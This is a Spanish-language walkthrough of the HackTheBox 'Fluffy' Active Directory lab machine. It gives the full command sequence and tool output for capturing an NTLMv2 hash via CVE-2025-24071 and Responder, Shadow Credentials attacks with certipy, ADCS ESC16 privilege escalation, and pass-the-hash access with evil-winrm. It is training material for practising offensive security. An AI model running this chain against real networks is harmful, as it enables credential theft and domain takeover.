Skip to main content

Command Palette

Search for a command to run...

Fluffy - HackTheBox

Máquina Windows nivel Easy de la plataforma HackTheBox que forma parte del path CPTS.

Updated
12 min read
Fluffy - HackTheBox
E
Cybersecurity

Disponemos de las credenciales j.fleischman / J0elTHEM4n1990! facilitadas por HackTheBox en la sala.

Reconocimiento de Puertos y Servicios

Comenzaremos realizando un escaneo básico de puertos para verificar qué puertos abiertos hay en la máquina víctima.

Para realizar este escaneo utilizaremos la herramienta nmap.

nmap -p- -Pn -n <ip> --min-rate 5000

PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws
49667/tcp open  unknown
49689/tcp open  unknown
49690/tcp open  unknown
49693/tcp open  unknown
49709/tcp open  unknown
49717/tcp open  unknown

Como vemos hay un listado de puertos muy amplio, por lo que lanzaré un escaneo más detallado para obtener más información sobre cada puerto abierto.

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-09-19 17:21:35Z)
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.fluffy.htb
| Not valid before: 2025-04-17T16:04:17
|_Not valid after:  2026-04-17T16:04:17
|_ssl-date: 2025-09-19T17:23:04+00:00; +7h00m00s from scanner time.
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-09-19T17:23:04+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.fluffy.htb
| Not valid before: 2025-04-17T16:04:17
|_Not valid after:  2026-04-17T16:04:17
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-09-19T17:23:04+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.fluffy.htb
| Not valid before: 2025-04-17T16:04:17
|_Not valid after:  2026-04-17T16:04:17
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-09-19T17:23:04+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.fluffy.htb
| Not valid before: 2025-04-17T16:04:17
|_Not valid after:  2026-04-17T16:04:17
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
49689/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49690/tcp open  msrpc         Microsoft Windows RPC
49693/tcp open  msrpc         Microsoft Windows RPC
49709/tcp open  msrpc         Microsoft Windows RPC
49717/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 7h00m00s, deviation: 0s, median: 6h59m59s
| smb2-time:
|   date: 2025-09-19T17:22:28
|_  start_date: N/A
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required

Descubrimos el dominio fluffy.htb y DC01.FLUFFY.HTB (Que corresponde al DC).

Puerto 88 (Kerberos)

Puerto 5985 - Puerto predeterminado para las conexiones HTTP de WinRM

Puerto 445 - SMB


SMB - Recurso compartido IT

Disponemos de credenciales, por lo que en primer lugar verificamos si son válidas para smb con netexec.

netexec smb 10.10.11.69 -u j.fleischman -p 'J0elTHEM4n1990!'

SMB         10.10.11.69     445    DC01             [*] Windows 10 / Server 2019 Build 17763 
SMB         10.10.11.69     445    DC01             [+] fluffy.htb\j.fleischman:J0elTHEM4n1990!

Las credenciales son válidas, por lo que podemos listar los recursos compartidos.

netexec smb 10.10.11.69 -u j.fleischman -p 'J0elTHEM4n1990!' --shares
SMB         10.10.11.69     445    DC01             [*] Windows 10 / Server 2019 Build 17763 
SMB         10.10.11.69     445    DC01             [+] fluffy.htb\j.fleischman:J0elTHEM4n1990!
SMB         10.10.11.69     445    DC01             [*] Enumerated shares
SMB         10.10.11.69     445    DC01             Share           Permissions     Remark
SMB         10.10.11.69     445    DC01             -----           -----------     ------
SMB         10.10.11.69     445    DC01             ADMIN$                          Remote Admin
SMB         10.10.11.69     445    DC01             C$                              Default share
SMB         10.10.11.69     445    DC01             IPC$            READ            Remote IPC
SMB         10.10.11.69     445    DC01             IT              READ,WRITE
SMB         10.10.11.69     445    DC01             NETLOGON        READ            Logon server share
SMB         10.10.11.69     445    DC01             SYSVOL          READ            Logon server share

Disponemos permisos de lectura y escritura en el recurso IT, por lo que el primer paso será conectarnos para ver que encontramos.

smbclient //10.10.11.69/IT -U j.fleischman
Password for [WORKGROUP\j.fleischman]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Fri Sep 19 19:36:03 2025
  ..                                  D        0  Fri Sep 19 19:36:03 2025
  Everything-1.4.1.1026.x64           D        0  Fri Apr 18 17:08:44 2025
  Everything-1.4.1.1026.x64.zip       A  1827464  Fri Apr 18 17:04:05 2025
  KeePass-2.58                        D        0  Fri Apr 18 17:08:38 2025
  KeePass-2.58.zip                    A  3225346  Fri Apr 18 17:03:17 2025
  Upgrade_Notice.pdf                  A   169963  Sat May 17 16:31:07 2025

                5842943 blocks of size 4096. 1621122 blocks available

smb: \> get Upgrade_Notice.pdf
getting file \Upgrade_Notice.pdf of size 169963 as Upgrade_Notice.pdf (520,3 KiloBytes/sec) (average 520,3 KiloBytes/sec)

Descubrimos un documento .pdf con el siguiente contenido:

Estamos ante un pequeño informe que comunica las vulnerabilidades encontradas en la infraestuctura empresarial, adjuntando los CVE de cada vulnerabilidad y la severidad.

Antes de continuar investigamos una por una cada vulnerabilidad con el fin de averiguar si podríamos abusar de alguna de ellas para ganar acceso a la máquina víctima.


CVE-2025-24071

Podemos aprovechar la vulnerabilidad CVE-2025-24071 para obtener el hash de un usuario del dominio tras subir al servicio smb un archivo .zip y ponernos en escucha con la herramienta responder.

Para conocer más sobre esta vulnerabilidad aconsejo revisar el final del documento donde dejo unos links de interés.

Para la explotación utilizaré la siguiente herramienta, que generará el archivo zip a subir.

https://github.com/0x6rss/CVE-2025-24071_PoC

smbclient //10.10.11.69/IT -U j.fleischman
Password for [WORKGROUP\j.fleischman]:

smb: \> put elc4br4.zip
putting file elc4br4.zip as \elc4br4.zip (2,9 kb/s) (average 2,9 kb/s)
sudo responder -I tun0
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 3.1.3.0

  To support this project:
  Patreon -> https://www.patreon.com/PythonResponder
  Paypal  -> https://paypal.me/PythonResponder

  Author: Laurent Gaffie (laurent.gaffie@gmail.com)
  To kill this script hit CTRL-C


[+] Poisoners:
    LLMNR                      [ON]
    NBT-NS                     [ON]
    MDNS                       [ON]
    DNS                        [ON]
    DHCP                       [OFF]

[+] Servers:
    HTTP server                [ON]
    HTTPS server               [ON]
    WPAD proxy                 [OFF]
    Auth proxy                 [OFF]
    SMB server                 [ON]
    Kerberos server            [ON]
    SQL server                 [ON]
    FTP server                 [ON]
    IMAP server                [ON]
    POP3 server                [ON]
    SMTP server                [ON]
    DNS server                 [ON]
    LDAP server                [ON]
    RDP server                 [ON]
    DCE-RPC server             [ON]
    WinRM server               [ON]

[+] HTTP Options:
    Always serving EXE         [OFF]
    Serving EXE                [OFF]
    Serving HTML               [OFF]
    Upstream Proxy             [OFF]

[+] Poisoning Options:
    Analyze Mode               [OFF]
    Force WPAD auth            [OFF]
    Force Basic Auth           [OFF]
    Force LM downgrade         [OFF]
    Force ESS downgrade        [OFF]

[+] Generic Options:
    Responder NIC              [tun0]
    Responder IP               [10.10.14.21]
    Responder IPv6             [dead:beef:2::1013]
    Challenge set              [random]
    Don't Respond To Names     ['ISATAP']

[+] Current Session Variables:
    Responder Machine Name     [WIN-L91XIJC6X1U]
    Responder Domain Name      [MRKH.LOCAL]
    Responder DCE-RPC Port     [46419]

[+] Listening for events...

[SMB] NTLMv2-SSP Client   : 10.10.11.69
[SMB] NTLMv2-SSP Username : FLUFFY\p.agila
[SMB] NTLMv2-SSP Hash     : p.agila::FLUFFY:<HASH>

Obtenemos el hash NTLMv2 del usuario p.agila, el cual intentamos craquear con John The Ripper.


Bloodhound

Llegados a este punto utilizo las credenciales que hemos obtenido recientemente para lanzar Bloodhound y buscar posibles configuraciones erróneas e intentar abusar de alguna de las mismas.

bloodhound-python -c all -d fluffy.htb -u p.agila -p 'password' --zip -ns 10.10.11.69

INFO: Found AD domain: fluffy.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc01.fluffy.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc01.fluffy.htb
INFO: Found 10 users
INFO: Found 54 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC01.fluffy.htb
INFO: Done in 00M 10S
INFO: Compressing output into 20250919131622_bloodhound.zip

En bloodhound vemos que el usuario p.agila pertenece al grupo Service Account Managers, y al pertenecer a este grupo podríamos abusar de GenericAll para añadirmos a su vez al grupo Service Accounts.

Ya que si nos añadimos a dicho grupo, tendríamos permisos GenericWrite sobre otros usuarios, por lo que podríamos ejecutar un ataque Shadow Credential.


Shadow Credential Attack

  1. Primero vamos a añadir al usuario p.agila al grupo Service Accounts.
bloodyAD --host 10.10.11.69 -d fluffy.htb -u p.agila -p 'password' add groupMember 'Service Accounts' p.agila

[+] p.agila added to Service Accounts
  1. Abusar de GenericWrite con pywhisker.py sobre el usuario winrm_svc.
certipy shadow auto -u 'p.agila@fluffy.htb' -p 'password'  -account 'WINRM_SVC'  -dc-ip '10.10.11.69'

Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Targeting user 'winrm_svc'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID 'fe8a3af3-dde4-7a17-e5af-cd105ae52ef2'
[*] Authenticating as 'winrm_svc' with the certificate
[*] Using principal: winrm_svc@fluffy.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'winrm_svc.ccache'
[*] Trying to retrieve NT hash for 'winrm_svc'
[*] Restoring the old Key Credentials for 'winrm_svc'
[*] Successfully restored the old Key Credentials for 'winrm_svc'
[*] NT hash for 'winrm_svc': <NT-HASH>
  1. Ahora que ya disponemos del hash NT del usuario winrm_svc podemos conectarnos a la máquina víctima a través de evil-winrm.
evil-winrm -i 10.10.11.69 -u winrm_svc -H <NT-HASH>

Evil-WinRM shell v3.5

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\winrm_svc\Documents> whoami
fluffy\winrm_svc
*Evil-WinRM* PS C:\Users\winrm_svc\Documents> hostname
DC01

Usuario ca_svc

El siguiente paso será obtener el hash del usuario ca_svc de la misma manera que hicimos con el usuario winrm_svc.

certipy shadow auto -u 'p.agila@fluffy.htb' -p 'password' -account 'ca_svc'  -dc-ip 10.10.11.69
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Targeting user 'ca_svc'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID 'd21378a5-e675-3430-53b9-51791aa524d0'
[*] Adding Key Credential with device ID 'd21378a5-e675-3430-53b9-51791aa524d0' to the Key Credentials for 'ca_svc'
[*] Successfully added Key Credential with device ID 'd21378a5-e675-3430-53b9-51791aa524d0' to the Key Credentials for 'ca_svc'
[*] Authenticating as 'ca_svc' with the certificate
[*] Using principal: ca_svc@fluffy.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'ca_svc.ccache'
[*] Trying to retrieve NT hash for 'ca_svc'
[*] Restoring the old Key Credentials for 'ca_svc'
[*] Successfully restored the old Key Credentials for 'ca_svc'
[*] NT hash for 'ca_svc': <NT-HASH-CA_SVC>

Escalada de Privilegios

Disponemos del hash del usuario ca_svc, y el propio usuario ya nos da una pista de por donde puede ir a escalada de privilegios...

Buscaremos plantillas de certificado vulnerables con certipy.

certipy-ad find -u 'ca_svc' -hashes <hash> -dc-ip 10.10.11.69 -vulnerable -enabled -stdout

Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 33 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 11 enabled certificate templates
[*] Finding issuance policies
[*] Found 14 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'fluffy-DC01-CA' via RRP
[*] Successfully retrieved CA configuration for 'fluffy-DC01-CA'
[*] Checking web enrollment for CA 'fluffy-DC01-CA' @ 'DC01.fluffy.htb'
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[*] Enumeration output:
Certificate Authorities
  0
    CA Name                             : fluffy-DC01-CA
    DNS Name                            : DC01.fluffy.htb
    Certificate Subject                 : CN=fluffy-DC01-CA, DC=fluffy, DC=htb
    Certificate Serial Number           : 3670C4A715B864BB497F7CD72119B6F5
    Certificate Validity Start          : 2025-04-17 16:00:16+00:00
    Certificate Validity End            : 3024-04-17 16:11:16+00:00
    Web Enrollment
      HTTP
        Enabled                         : False
      HTTPS
        Enabled                         : False
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Active Policy                       : CertificateAuthority_MicrosoftDefault.Policy
    Disabled Extensions                 : 1.3.6.1.4.1.311.25.2
    Permissions
      Owner                             : FLUFFY.HTB\Administrators
      Access Rights
        ManageCa                        : FLUFFY.HTB\Domain Admins
                                          FLUFFY.HTB\Enterprise Admins
                                          FLUFFY.HTB\Administrators
        ManageCertificates              : FLUFFY.HTB\Domain Admins
                                          FLUFFY.HTB\Enterprise Admins
                                          FLUFFY.HTB\Administrators
        Enroll                          : FLUFFY.HTB\Cert Publishers
    [!] Vulnerabilities
      ESC16                             : Security Extension is disabled.
    [*] Remarks
      ESC16                             : Other prerequisites may be required for this to be exploitable. See the wiki for more details.
Certificate Templates                   : [!] Could not find any certificate templates

ESC16

Podemos ver que existe una plantilla vulnerable a ESC16, por lo que procedemos a explotarlo.

  • Modificar el UPN de ca_svc a administrator.
certipy-ad account update -username "p.agila@fluffy.htb" -p "password" -user ca_svc -upn 'administrator'

[*] Updating user 'ca_svc':
    userPrincipalName                   : administrator
[*] Successfully updated 'ca_svc'
  • Solicitamos el certificado con las credenciales de ca_svc.
certipy-ad req -u 'ca_svc' -hashes <hash> -dc-ip 10.10.11.69 -target 'dc01.fluffy.htb' -ca 'fluffy-DC01-CA' -template User

Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Request ID is 16
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator'
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'
  • Modificamos de nuevo el UPN.
certipy-ad account update -username "p.agila@fluffy.htb" -p "password" -user ca_svc -upn 'ca_svc@fluffy.htb'

Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Updating user 'ca_svc':
    userPrincipalName                   : ca_svc@fluffy.htb
[*] Successfully updated 'ca_svc'
  • Utilizamos el certificado administrator.pfx para autenticarnos y obtener el hash NTLM del usuario Administrator.
certipy-ad auth -pfx administrator.pfx -domain 'fluffy.htb' -dc-ip 10.10.11.69

Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN UPN: 'administrator'
[*] Using principal: 'administrator@fluffy.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@fluffy.htb': <NTLM HASH>
  • Finalmente utilizamos el hash para conectarnos a través WINRM y podremos leer la flag.
evil-winrm -i 10.129.232.88 -u administrator -H <HASH>
                                        
Evil-WinRM shell v3.9
                                                                              
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> hostname
DC01
*Evil-WinRM* PS C:\Users\Administrator\Documents> dir C:\Users\Administrator\Desktop


    Directory: C:\Users\Administrator\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---         3/8/2026   8:54 PM             34 root.txt


*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
fluffy\administrator

https://nvd.nist.gov/vuln/detail/CVE-2025-24071

https://www.incibe.es/index.php/incibe-cert/alerta-temprana/vulnerabilidades/cve-2025-24071

https://www.vicarius.io/vsociety/posts/cve-2025-24071-spoofing-vulnerability-in-microsoft-windows-file-explorer-mitigation-script